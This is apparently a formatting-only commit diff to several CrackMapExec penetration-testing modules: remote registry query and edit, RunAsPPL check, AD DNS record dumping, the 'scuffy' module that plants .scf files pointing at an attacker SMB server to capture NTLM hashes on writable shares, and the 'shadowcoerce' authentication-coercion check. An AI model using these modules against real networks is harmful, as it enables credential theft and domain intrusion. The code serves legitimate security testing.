'REG_MULTI_SZ': rrp.REG_MULTI_SZ,
'REG_QWORD': rrp.REG_QWORD
"REG_NONE": rrp.REG_NONE,
"REG_SZ": rrp.REG_SZ,
"REG_EXPAND_SZ": rrp.REG_EXPAND_SZ,
"REG_BINARY": rrp.REG_BINARY,
"REG_DWORD": rrp.REG_DWORD,
"REG_DWORD_BIG_ENDIAN": rrp.REG_DWORD_BIG_ENDIAN,
"REG_LINK": rrp.REG_LINK,
"REG_MULTI_SZ": rrp.REG_MULTI_SZ,
"REG_QWORD": rrp.REG_QWORD,
}
self.type = module_options['TYPE']
self.type = module_options["TYPE"]
if "WORD" in self.type:
try :
try:
self.value = int(self.value)
except:
context.log.fail(f"Invalid registry value type specified: {self.value}")
@@ -73,8 +73,8 @@ class CMEModule:
return
else:
self.type = 1
if module_options and 'DELETE' in module_options and module_options['DELETE'].lower() == 'true':
if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true":
self.delete = True
def on_admin_login(self, context, connection):
@@ -88,62 +88,43 @@ class CMEModule:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
try:
if "HKLM" in self.path or "HKEY_LOCAL_MACHINE" in self.path:
self.path = self.path.replace('HKLM\\', '')
self.path = self.path.replace("HKLM\\", "")
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
elif "HKCU" in self.path or "HKEY_CURRENT_USER" in self.path:
self.path = self.path.replace('HKCU\\', '')
self.path = self.path.replace("HKCU\\", "")
ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp)
elif "HKCR" in self.path or "HKEY_CLASSES_ROOT" in self.path:
self.path = self.path.replace('HKCR\\', '')
self.path = self.path.replace("HKCR\\", "")
ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp)
else:
self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}")
return
reg_handle = ans['phKey']
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
self.path
)
key_handle = ans['phkResult']
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path)
key_handle = ans["phkResult"]
if self.delete:
# Delete registry
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
self.key
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
except:
self.context.log.fail(f"Registry key {self.key} does not exist")
return
# Delete value
rrp.hBaseRegDeleteValue(
remote_ops._RemoteOperations__rrp,
key_handle,
self.key
)
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.success(f"Registry key {self.key} has been deleted successfully")
rrp.hBaseRegCloseKey(
remote_ops._RemoteOperations__rrp,
key_handle
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
if self.value is not None:
# Check if value exists
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
self.key
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"Key {self.key} exists with value {reg_value}")
# Modification
rrp.hBaseRegSetValue(
@@ -151,7 +132,7 @@ class CMEModule:
key_handle,
self.key,
self.type,
self.value
self.value,
)
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
except:
@@ -160,21 +141,14 @@ class CMEModule:
key_handle,
self.key,
self.type,
self.value
self.value,
)
self.context.log.success(f"New Key {self.key} has been added with value {self.value}")
rrp.hBaseRegCloseKey(
remote_ops._RemoteOperations__rrp,
key_handle
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
else:
# Query
try:
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
self.key
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"{self.key}: {reg_value}")
except:
if self.delete:
+1
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
name = "runasppl"
description = "Check if the registry value RunAsPPL is set or not"
+160 -134
View File
@@ -2,6 +2,7 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
from os.path import expanduser
import codecs
import socket
from builtins import str
@@ -15,118 +16,120 @@ from ldap3 import LEVEL
def get_dns_zones(connection, root, debug=False):
connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc'])
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry['type'] != 'searchResEntry':
if entry["type"] != "searchResEntry":
continue
zones.append(entry['attributes']['dc'])
zones.append(entry["attributes"]["dc"])
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith('ldap://'):
if server.startswith("ldap://"):
server = server[7:]
if server.startswith('ldaps://'):
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
context.info('Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP'\
' as target host to use that server for queries')
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(',DC=', '.', ldap[ldap.lower().find('dc='):], flags=re.I)[3:]
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
def new_record(rtype, serial):
nr = DNS_RECORD()
nr['Type'] = rtype
nr['Serial'] = serial
nr['TtlSeconds'] = 180
nr["Type"] = rtype
nr["Serial"] = serial
nr["TtlSeconds"] = 180
# From authoritive zone
nr['Rank'] = 240
nr["Rank"] = 240
return nr
# From: https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants
RECORD_TYPE_MAPPING = {
0: 'ZERO',
1: 'A',
2: 'NS',
5: 'CNAME',
6: 'SOA',
12: 'PTR',
#15: 'MX',
#16: 'TXT',
28: 'AAAA',
33: 'SRV'
}
0: "ZERO",
1: "A",
2: "NS",
5: "CNAME",
6: "SOA",
12: "PTR",
# 15: 'MX',
# 16: 'TXT',
28: "AAAA",
33: "SRV",
}
def searchResEntry_to_dict(results):
data = {}
for attr in results['attributes']:
key = str(attr['type'])
value = str(attr['vals'][0])
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
class CMEModule:
name = 'get-network'
name = "get-network"
description = ""
supported_protocols = ['ldap']
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
ALL Get DNS and IP (default: false)
ONLY_HOSTS Get DNS only (no ip) (default: false)
ALL Get DNS and IP (default: false)
ONLY_HOSTS Get DNS only (no ip) (default: false)
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and 'ALL' in module_options:
if module_options['ALL'].lower() == "true" or module_options['ALL'] == "1":
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
if module_options and 'IP' in module_options:
if module_options['IP'].lower() == "true" or module_options['IP'] == "1":
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
if module_options and 'ONLY_HOSTS' in module_options:
if module_options['ONLY_HOSTS'].lower() == "true" or module_options['ONLY_HOSTS'] == "1":
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % connection.baseDN
searchtarget = 'DC=%s,%s' % (zone, dnsroot)
context.log.display('Querying zone for records')
sfilter = '(DC=*)'
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
searchtarget = "DC=%s,%s" % (zone, dnsroot)
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=searchtarget,
searchFilter=sfilter,
attributes=['dnsRecord','dNSTombstoned','name'],
sizeLimit=100000
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
@@ -142,39 +145,56 @@ class CMEModule:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
recordname = site['name']
recordname = site["name"]
if "dnsRecord" in site:
record = bytes(site['dnsRecord'].encode('latin1'))
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr['Type']] == "A":
if dr['Type'] == 1:
address = DNS_RPC_RECORD_A(dr['Data'])
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
outdata.append({'name':recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()})
if dr['Type'] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR']]:
address = DNS_RPC_RECORD_NODE_NAME(dr['Data'])
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address[list(address.fields)[0]].toFqdn()})
elif dr['Type'] == 28:
address = DNS_RPC_RECORD_AAAA(dr['Data'])
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()})
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address.formatCanonical(),
}
)
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[list(address.fields)[0]].toFqdn(),
}
)
elif dr["Type"] == 28:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address.formatCanonical(),
}
)
context.log.highlight('Found %d records' % len(outdata))
path = os.path.expanduser('~/.cme/logs/{}_network_{}.log'.format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
with codecs.open(path, 'w', 'utf-8') as outfile:
context.log.highlight("Found %d records" % len(outdata))
path = expanduser("~/.cme/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write('{}\n'.format(row['name'] + '.' + connection.domain))
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
elif self.showall:
outfile.write('{} \t {}\n'.format(row['name'] + '.' + connection.domain, row['value']))
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
else:
outfile.write('{}\n'.format(row['value']))
context.log.success('Dumped {} records to {}'.format(len(outdata), path))
outfile.write("{}\n".format(row["value"]))
context.log.success("Dumped {} records to {}".format(len(outdata), path))
if not self.showall and not self.showhosts:
context.log.display("To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
class DNS_RECORD(Structure):
@@ -182,19 +202,21 @@ class DNS_RECORD(Structure):
dnsRecord - used in LDAP
[MS-DNSP] section 2.3.2.2
"""
structure = (
('DataLength', '<H-Data'),
('Type', '<H'),
('Version', 'B=5'),
('Rank', 'B'),
('Flags', '<H=0'),
('Serial', '<L'),
('TtlSeconds', '>L'),
('Reserved', '<L=0'),
('TimeStamp', '<L=0'),
('Data', ':')
("DataLength", "<H-Data"),
("Type", "<H"),
("Version", "B=5"),
("Rank", "B"),
("Flags", "<H=0"),
("Serial", "<L"),
("TtlSeconds", ">L"),
("Reserved", "<L=0"),
("TimeStamp", "<L=0"),
("Data", ":"),
)
# Note that depending on whether we use RPC or LDAP all the DNS_RPC_XXXX
# structures use DNS_RPC_NAME when communication is over RPC,
# but DNS_COUNT_NAME is the way they are stored in LDAP.
@@ -203,6 +225,7 @@ class DNS_RECORD(Structure):
# over RPC the DNS_COUNT_NAME in the structures must be replaced with DNS_RPC_NAME,
# which is also consistent with how MS-DNSP describes it.
class DNS_RPC_NAME(Structure):
"""
DNS_RPC_NAME
@@ -210,10 +233,9 @@ class DNS_RPC_NAME(Structure):
MUST be converted to DNS_COUNT_NAME for LDAP
[MS-DNSP] section 2.2.2.2.1
"""
structure = (
('cchNameLength', 'B-dnsName'),
('dnsName', ':')
)
structure = (("cchNameLength", "B-dnsName"), ("dnsName", ":"))
class DNS_COUNT_NAME(Structure):
"""
@@ -222,50 +244,49 @@ class DNS_COUNT_NAME(Structure):
MUST be converted to DNS_RPC_NAME for RPC communication
[MS-DNSP] section 2.2.2.2.2
"""
structure = (
('Length', 'B-RawName'),
('LabelCount', 'B'),
('RawName', ':')
)
structure = (("Length", "B-RawName"), ("LabelCount", "B"), ("RawName", ":"))
def toFqdn(self):
ind = 0
labels = []
for i in range(self['LabelCount']):
nextlen = unpack('B', self['RawName'][ind:ind+1])[0]
labels.append(self['RawName'][ind+1:ind+1+nextlen].decode('utf-8'))
for i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
ind += nextlen + 1
# For the final dot
labels.append('')
return '.'.join(labels)
labels.append("")
return ".".join(labels)
class DNS_RPC_NODE(Structure):
"""
DNS_RPC_NODE
[MS-DNSP] section 2.2.2.2.3
"""
structure = (
('wLength', '>H'),
('wRecordCount', '>H'),
('dwFlags', '>L'),
('dwChildCount', '>L'),
('dnsNodeName', ':')
("wLength", ">H"),
("wRecordCount", ">H"),
("dwFlags", ">L"),
("dwChildCount", ">L"),
("dnsNodeName", ":"),
)
class DNS_RPC_RECORD_A(Structure):
"""
DNS_RPC_RECORD_A
[MS-DNSP] section 2.2.2.2.4.1
"""
structure = (
('address', ':'),
)
structure = (("address", ":"),)
def formatCanonical(self):
return socket.inet_ntoa(self['address'])
return socket.inet_ntoa(self["address"])
def fromCanonical(self, canonical):
self['address'] = socket.inet_aton(canonical)
self["address"] = socket.inet_aton(canonical)
class DNS_RPC_RECORD_NODE_NAME(Structure):
@@ -273,83 +294,88 @@ class DNS_RPC_RECORD_NODE_NAME(Structure):
DNS_RPC_RECORD_NODE_NAME
[MS-DNSP] section 2.2.2.2.4.2
"""
structure = (
('nameNode', ':', DNS_COUNT_NAME),
)
structure = (("nameNode", ":", DNS_COUNT_NAME),)
class DNS_RPC_RECORD_SOA(Structure):
"""
DNS_RPC_RECORD_SOA
[MS-DNSP] section 2.2.2.2.4.3
"""
structure = (
('dwSerialNo', '>L'),
('dwRefresh', '>L'),
('dwRetry', '>L'),
('dwExpire', '>L'),
('dwMinimumTtl', '>L'),
('namePrimaryServer', ':', DNS_COUNT_NAME),
('zoneAdminEmail', ':', DNS_COUNT_NAME)
("dwSerialNo", ">L"),
("dwRefresh", ">L"),
("dwRetry", ">L"),
("dwExpire", ">L"),
("dwMinimumTtl", ">L"),
("namePrimaryServer", ":", DNS_COUNT_NAME),
("zoneAdminEmail", ":", DNS_COUNT_NAME),
)
class DNS_RPC_RECORD_NULL(Structure):
"""
DNS_RPC_RECORD_NULL
[MS-DNSP] section 2.2.2.2.4.4
"""
structure = (
('bData', ':'),
)
structure = (("bData", ":"),)
# Some missing structures here that I skipped
class DNS_RPC_RECORD_NAME_PREFERENCE(Structure):
"""
DNS_RPC_RECORD_NAME_PREFERENCE
[MS-DNSP] section 2.2.2.2.4.8
"""
structure = (
('wPreference', '>H'),
('nameExchange', ':', DNS_COUNT_NAME)
)
structure = (("wPreference", ">H"), ("nameExchange", ":", DNS_COUNT_NAME))
# Some missing structures here that I skipped
class DNS_RPC_RECORD_AAAA(Structure):
"""
DNS_RPC_RECORD_AAAA
[MS-DNSP] section 2.2.2.2.4.17
"""
structure = (
('ipv6Address', '16s'),
)
structure = (("ipv6Address", "16s"),)
def formatCanonical(self):
return socket.inet_ntop(socket.AF_INET6, self['ipv6Address'])
return socket.inet_ntop(socket.AF_INET6, self["ipv6Address"])
class DNS_RPC_RECORD_SRV(Structure):
"""
DNS_RPC_RECORD_SRV
[MS-DNSP] section 2.2.2.2.4.18
"""
structure = (
('wPriority', '>H'),
('wWeight', '>H'),
('wPort', '>H'),
('nameTarget', ':', DNS_COUNT_NAME)
("wPriority", ">H"),
("wWeight", ">H"),
("wPort", ">H"),
("nameTarget", ":", DNS_COUNT_NAME),
)
class DNS_RPC_RECORD_TS(Structure):
"""
DNS_RPC_RECORD_TS
[MS-DNSP] section 2.2.2.2.4.23
"""
structure = (
('entombedTime', '<Q'),
)
structure = (("entombedTime", "<Q"),)
def toDatetime(self):
microseconds = int(self['entombedTime'] / 10)
microseconds = int(self["entombedTime"] / 10)
try:
return datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=microseconds)
return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=microseconds)
except OverflowError:
return None
+20 -15
View File
@@ -11,10 +11,11 @@ class CMEModule:
URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
Module by: @kierangroome
"""
name = "scuffy"
description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares"
supported_protocols = ["smb"]
opsec_safe = True
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
@@ -34,24 +35,24 @@ class CMEModule:
"""
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEANUP'])
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
if 'NAME' not in module_options:
context.log.fail('NAME option is required!')
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if not self.cleanup and 'SERVER' not in module_options:
context.log.fail('SERVER option is required!')
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
self.scf_name = module_options['NAME']
self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.file_path = ntpath.join('\\', f"{self.scf_name}.scf")
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
if not self.cleanup:
self.server = module_options['SERVER']
scuf = open(self.scf_path, 'a')
self.server = module_options["SERVER"]
scuf = open(self.scf_path, "a")
scuf.write(f"[Shell]\n")
scuf.write(f"Command=2\n")
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
@@ -60,18 +61,22 @@ class CMEModule:
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.scf_path, 'rb') as scf:
with open(self.scf_path, "rb") as scf:
try:
connection.conn.putFile(share['name'], self.file_path, scf.read)
connection.conn.putFile(share["name"], self.file_path, scf.read)
context.log.success(f"Created SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing SCF file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share['name'], self.file_path)
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}")
+125 -59
View File
@@ -8,43 +8,65 @@ from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from cme.logger import cme_logger
class CMEModule:
name = 'shadowcoerce'
name = "shadowcoerce"
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
LISTENER Listener IP address (default: 127.0.0.1)
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
LISTENER Listener IP address (default: 127.0.0.1)
"""
self.ipsc = False
self.ipsc = False
self.listener = "127.0.0.1"
if 'LISTENER' in module_options:
self.listener = module_options['LISTENER']
if 'IPSC' in module_options:
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "IPSC" in module_options:
# Any string that's not empty can be casted to bool True
self.ipsc = bool(module_options['IPSC'])
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
c = CoerceAuth()
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain , pipe="FssagentRpc", doKerberos=connection.kerberos, dcHost=connection.kdcHost)
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
# Sleeping mandatory for second try
time.sleep(2)
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, pipe="FssagentRpc")
if self.ipsc:
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
result = c.IsPathShadowCopied(dce, self.listener)
@@ -58,10 +80,10 @@ class CMEModule:
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
if result:
if result:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
@@ -70,33 +92,64 @@ class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
def __str__(self):
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
return "SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return 'SessionError: unknown error code: 0x%x' % self.error_code
return "SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
0x80070005: ("E_ACCESSDENIED", "The caller does not have the permissions to perform the operation"),
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80042301: ("FSRVP_E_BAD_STATE", "A method call was invalid because of the state of the server."),
0x80042316: ("FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS", "A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress."),
0x8004230C: ("FSRVP_E_NOT_SUPPORTED", "The file store that contains the share to be shadow copied is not supported by the server."),
0x00000102: ("FSRVP_E_WAIT_TIMEOUT", "The wait for a shadow copy commit or expose operation has timed out."),
0xFFFFFFFF: ("FSRVP_E_WAIT_FAILED", "The wait for a shadow copy commit expose operation has failed."),
0x8004230D: ("FSRVP_E_OBJECT_ALREADY_EXISTS", "The specified object already exists."),
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
0x8004231B: ("FSRVP_E_UNSUPPORTED_CONTEXT", "The specified context value is invalid."),
0x80042501: ("FSRVP_E_SHADOWCOPYSET_ID_MISMATCH", "The provided ShadowCopySetId does not exist."),
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
}
@@ -105,51 +158,64 @@ MSFSRVP_ERROR_CODES = {
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
structure = (
('ShareName', WSTR),
)
structure = (("ShareName", WSTR),)
class IsPathSupportedResponse(NDRCALL):
structure = (
('SupportedByThisProvider', BOOL),
('OwnerMachineName', LPWSTR),
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
)
class IsPathShadowCopied(NDRCALL):
opnum = 9
structure = (
('ShareName', WSTR),
)
structure = (("ShareName", WSTR),)
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
('ShadowCopyPresent', BOOL),
('ShadowCopyCompatibility', LONG),
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
)
OPNUMS = {
8 : (IsPathSupported, IsPathSupportedResponse),
9 : (IsPathShadowCopied, IsPathShadowCopiedResponse),
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
}
class CoerceAuth:
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost):
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
target,
pipe,
doKerberos,
dcHost,
):
binding_params = {
'FssagentRpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\FssagentRpc]' % target,
'UUID': ('a8e0653c-2744-4389-a61d-7373df8b2292', '1.0')
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
)
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
@@ -159,22 +225,22 @@ class CoerceAuth:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
cme_logger.info("Connecting to %s" % binding_params[pipe]['stringBinding'])
cme_logger.info("Connecting to %s" % binding_params[pipe]["stringBinding"])
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
if str(e).find('STATUS_PIPE_NOT_AVAILABLE') >= 0:
